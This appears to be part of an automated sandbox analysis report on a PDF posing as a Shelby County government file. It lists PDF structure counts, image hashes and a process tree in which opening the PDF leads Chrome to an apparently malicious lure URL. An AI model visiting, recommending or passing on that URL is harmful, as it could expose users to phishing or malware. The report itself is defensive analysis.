                                                                                endobj32
                                                                                stream12
                                                                                endstream12
                                                                                xref1
                                                                                trailer1
                                                                                startxref1
                                                                                /Page1
                                                                                /Encrypt0
                                                                                /ObjStm0
                                                                                /URI2
                                                                                /JS0
                                                                                /JavaScript0
                                                                                /AA0
                                                                                /OpenAction0
                                                                                /AcroForm0
                                                                                /JBIG2Decode0
                                                                                /RichMedia0
                                                                                /Launch0
                                                                                /EmbeddedFile0

                                                                                Image Streams

                                                                                IDDHASHMD5Preview
                                                                                160000000000000000413bab68da2d99ede3e614e9054069e7
                                                                                170000000000000000467dd7d28da8915f13af29f8e08b198b
                                                                                180048100a0c0592d0d1011d4897f383200795c2c5620f2e5f

                                                                                Network Behavior

                                                                                ⊘No network behavior found

                                                                                Statistics

                                                                                CPU Usage

                                                                                Click to jump to process

                                                                                Memory Usage

                                                                                Click to jump to process

                                                                                High Level Behavior Distribution

                                                                                Click to dive into process behavior distribution

                                                                                Behavior

                                                                                Click to jump to process

                                                                                System Behavior

                                                                                General

                                                                                Target ID:0
                                                                                Start time:18:01:30
                                                                                Start date:08/10/2024
                                                                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\shelbycountytn.gov.pdf"
                                                                                Imagebase:0x7ff6bc1b0000
                                                                                File size:5'641'176 bytes
                                                                                MD5 hash:24EAD1C46A47022347DC0F05F6EFBB8C
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:1
                                                                                Start time:18:01:31
                                                                                Start date:08/10/2024
                                                                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
                                                                                Imagebase:0x7ff74bb60000
                                                                                File size:3'581'912 bytes
                                                                                MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:3
                                                                                Start time:18:01:31
                                                                                Start date:08/10/2024
                                                                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1680,i,4515409880386373091,12119218796225078129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
                                                                                Imagebase:0x7ff74bb60000
                                                                                File size:3'581'912 bytes
                                                                                MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:9
                                                                                Start time:18:01:56
                                                                                Start date:08/10/2024
                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://PJD.ctorombet.com/enRUG/"
                                                                                Imagebase:0x7ff76e190000
                                                                                File size:3'242'272 bytes
                                                                                MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:false

                                                                                General

                                                                                Target ID:10
                                                                                Start time:18:01:56
                                                                                Start date:08/10/2024
                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,6538390649141663925,14644674923314258461,262144 /prefetch:8
                                                                                Imagebase:0x7ff76e190000
                                                                                File size:3'242'272 bytes
                                                                                MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:false

                                                                                Disassembly

                                                                                ⊘No disassembly